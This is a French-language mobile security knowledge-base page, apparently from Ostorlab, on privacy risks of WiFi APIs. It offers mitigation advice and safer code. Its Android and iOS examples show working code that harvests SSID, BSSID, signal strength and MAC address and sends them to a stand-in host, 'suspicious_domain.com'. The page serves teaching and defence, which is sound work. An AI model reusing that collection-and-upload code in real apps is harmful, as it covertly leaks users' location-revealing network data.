- Sécurité & Confidentialité
- Base de connaissances
- Mobile WiFi API Personal Identifiable Information concerns
Préoccupations concernant les informations personnellement identifiables via l'API WiFi mobile
Description
Préoccupations concernant les informations personnellement identifiables via l'API WiFi
Les applications mobiles disposant d'un accès à l'API WiFi peuvent obtenir des informations personnellement identifiables (PII) telles que les noms de réseaux et l'historique d'utilisation des points d'accès, ce qui peut conduire à l'inférence de données privées.
Les applications utilisant des autorisations et des API liées au WiFi peuvent accéder à des informations sensibles sur les points d'accès WiFi (telles que les identifiants, les noms et l'intensité des signaux) et potentiellement déduire :
- Des identifiants uniques d'appareil
- Des données de géolocalisation en utilisant les points d'accès WiFi environnants
- L'historique des déplacements de l'utilisateur et les liens sociaux en s'appuyant sur des modèles récurrents d'utilisation des points d'accès WiFi
Exemples
import android.content.Context;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import java.net.HttpURLConnection;
import java.net.URL;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
public class WifiInfoRetriever {
private Context context;
public WifiInfoRetriever(Context context) {
this.context = context;
}
public void retrieveWifiInfo() {
WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
if (wifiManager.isWifiEnabled()) {
WifiInfo wifiInfo = wifiManager.getConnectionInfo();
String ssid = wifiInfo.getSSID();
String bssid = wifiInfo.getBSSID();
int rssi = wifiInfo.getRssi();
String macAddress = wifiInfo.getMacAddress();
// Construct JSON with data
String jsonInputString = String.format("{\"ssid\":\"%s\", \"bssid\":\"%s\", \"rssi\":%d, \"macAddress\":\"%s\"}",
ssid, bssid, rssi, macAddress);
try {
// Endpoint URL
URL url = new URL("http://suspicious_domain.com/api/networks");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
// Connection setup
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/json");
try (OutputStream os = connection.getOutputStream()) {
byte[] input = jsonInputString.getBytes(StandardCharsets.UTF_8);
os.write(input, 0, input.length);
}
// Additional analysis could be performed when the data reaches the endpoint
// such as inferring location or movement patterns of users
connection.disconnect();
} catch (Exception e) {
e.printStackTrace();
}
} else {
System.out.println("WiFi is not enabled");
}
}
}
import Foundation
import SystemConfiguration.CaptiveNetwork
import NetworkExtension
class WifiInfoRetriever {
func retrieveWifiInfo() {
// Get current WiFi information
guard let interfaces = CNCopySupportedInterfaces() as? [String] else {
print("Unable to get network interfaces")
return
}
var wifiData: [String: String] = [:]
for interface in interfaces {
if let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any] {
wifiData["ssid"] = networkInfo[kCNNetworkInfoKeySSID as String] as? String
wifiData["bssid"] = networkInfo[kCNNetworkInfoKeyBSSID as String] as? String
}
}
// Check if data was retrieved
if !wifiData.isEmpty {
// Convert to JSON
guard let jsonData = try? JSONSerialization.data(withJSONObject: wifiData, options: []) else {
print("Could not convert to JSON")
return
}
// Create request
guard let url = URL(string: "http://suspicious_domain.com/api/networks") else {
return
}
var request = URLRequest(url: url)
request.httpMethod = "POST"
request.httpBody = jsonData
request.addValue("application/json", forHTTPHeaderField: "Content-Type")
// Send data to server
let task = URLSession.shared.dataTask(with: request) { data, response, error in
// Handle response as needed
// Data could be used to infer user location and movement patterns
}
task.resume()
} else {
print("WiFi information not available")
}
}
}
Recommandation
Atténuation des risques de confidentialité de l'API WiFi
Afin d'atténuer les risques de confidentialité associés à l'accès des API WiFi mobiles aux informations personnellement identifiables (PII), les utilisateurs et les développeurs peuvent prendre plusieurs précautions :
Pour les utilisateurs :
- Maintenir le système d'exploitation mobile et toutes les applications à jour avec les dernières versions.
- Être prudent lors de l'octroi d'autorisations liées au WiFi aux applications.
- Utiliser un VPN lors de la connexion à des réseaux WiFi publics.
- Examiner régulièrement les autorisations des applications dans les paramètres de l'appareil.
Pour les développeurs :
- Demander une autorisation explicite à l'utilisateur pour accéder aux informations WiFi sensibles.
- Mettre en œuvre le principe du « moindre privilège », en ne demandant et n'utilisant que les autorisations minimales nécessaires au fonctionnement de l'application.
- Hacher ou anonymiser toute donnée WiFi avant de la stocker ou de la transmettre.
- Fournir des politiques de confidentialité claires expliquant comment les informations WiFi sont utilisées.
- Évaluer si les informations WiFi sont véritablement nécessaires à la fonctionnalité de l'application.
Exemples de code pour les développeurs :
// Request appropriate permissions
if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.ACCESS_FINE_LOCATION},
PERMISSION_REQUEST_CODE);
}
// Use Android 10+ methods whenever possible
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
// Use Android 10+ compliant methods
// For example, WifiInfo.getSSID() and getBSSID() return masked values by default
} else {
// Use methods for earlier Android versions
}
// Use privacy focused NetworkCallback API
ConnectivityManager connectivityManager =
(ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addTransportType(NetworkCapabilities.TRANSPORT_WIFI);
connectivityManager.registerNetworkCallback(builder.build(), new ConnectivityManager.NetworkCallback() {
@Override
public void onAvailable(Network network) {
// Handle WiFi connection here without accessing PII
}
});
// First, ensure you have proper permissions in Info.plist
// <key>NSLocationWhenInUseUsageDescription</key>
// <string>This app needs to access your location to find nearby WiFi networks</string>
import NetworkExtension
func requestWiFiPermission() {
// Request permission before accessing WiFi information
if #available(iOS 13.0, *) {
NEHotspotHelper.register(options: nil, queue: .main) { (cmd) -> Void in
// Handle commands appropriately
print("Permission request processed")
}
}
}
// Use minimal WiFi information when necessary
func connectToKnownNetwork() {
// Instead of collecting and storing SSID/BSSID pairs,
// use the system's built-in capabilities
if let configuration = NEHotspotConfiguration(ssid: "KnownNetwork") {
NEHotspotConfigurationManager.shared.apply(configuration) { error in
if let error = error {
print("Error connecting: \(error.localizedDescription)")
} else {
print("Connected successfully")
}
}
}
}
// If you must access WiFi information, anonymize it
func getAnonymizedWifiInfo() -> String? {
guard let interfaces = CNCopySupportedInterfaces() as? [String],
let interface = interfaces.first,
let networkInfo = CNCopyCurrentNetworkInfo(interface as CFString) as? [String: Any],
let ssid = networkInfo[kCNNetworkInfoKeySSID as String] as? String else {
return nil
}
// Hash the SSID instead of using it directly
return ssid.data(using: .utf8)?.sha256Hash.hexString
}
// Extension for hashing
extension Data {
var sha256Hash: Data {
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
self.withUnsafeBytes {
_ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
}
return Data(hash)
}
var hexString: String {
return map { String(format: "%02hhx", $0) }.joined()
}
}
Détectez ce problème avec Ostorlab
Ostorlab recherche ce problème dans les applications Android et iOS.
Scanner votre app gratuitementLiens
Normes
- CCPA:
- CCPA_1798_100
- CCPA_1798_110
- CCPA_1798_115
- CCPA_1798_135
- CCPA_1798_150
- CWE_TOP_25:
- CWE_276
- GDPR:
- ART_1
- ART_2
- ART_3
- ART_4
- ART_5
- ART_6
- ART_9
- ART_13
- ART_14
- ART_21
- ART_32
- OWASP_ASVS_L1:
- V8_3_3
- OWASP_MASVS_L1:
- MSTG_ARCH_1
- MSTG_ARCH_4
- MSTG_ARCH_12
- MSTG_STORAGE_1
- MSTG_STORAGE_4
- MSTG_STORAGE_12
- MSTG_CODE_5
- OWASP_MASVS_L2:
- MSTG_ARCH_12
- MSTG_STORAGE_12
- MSTG_STORAGE_4
- HIPAA_CONTROLS:
- SECURITY221
- SECURITY212
- SECURITY213
- OWASP_MASVS_v2_1:
- MASVS_PRIVACY_1
- MASVS_PRIVACY_3
- MASVS_STORAGE_2
- MASVS_CODE_1
- MASVS_CODE_3
- CNIL_FOR_EDITORS:
- EDITORS_1_1_1
- EDITORS_1_2_3
- EDITORS_5_1_5
- CNIL_FOR_DEVELOPERS:
- DEVELOPERS_2_2_4
- OWASP_MOBILE_TOP_10:
- M5_2024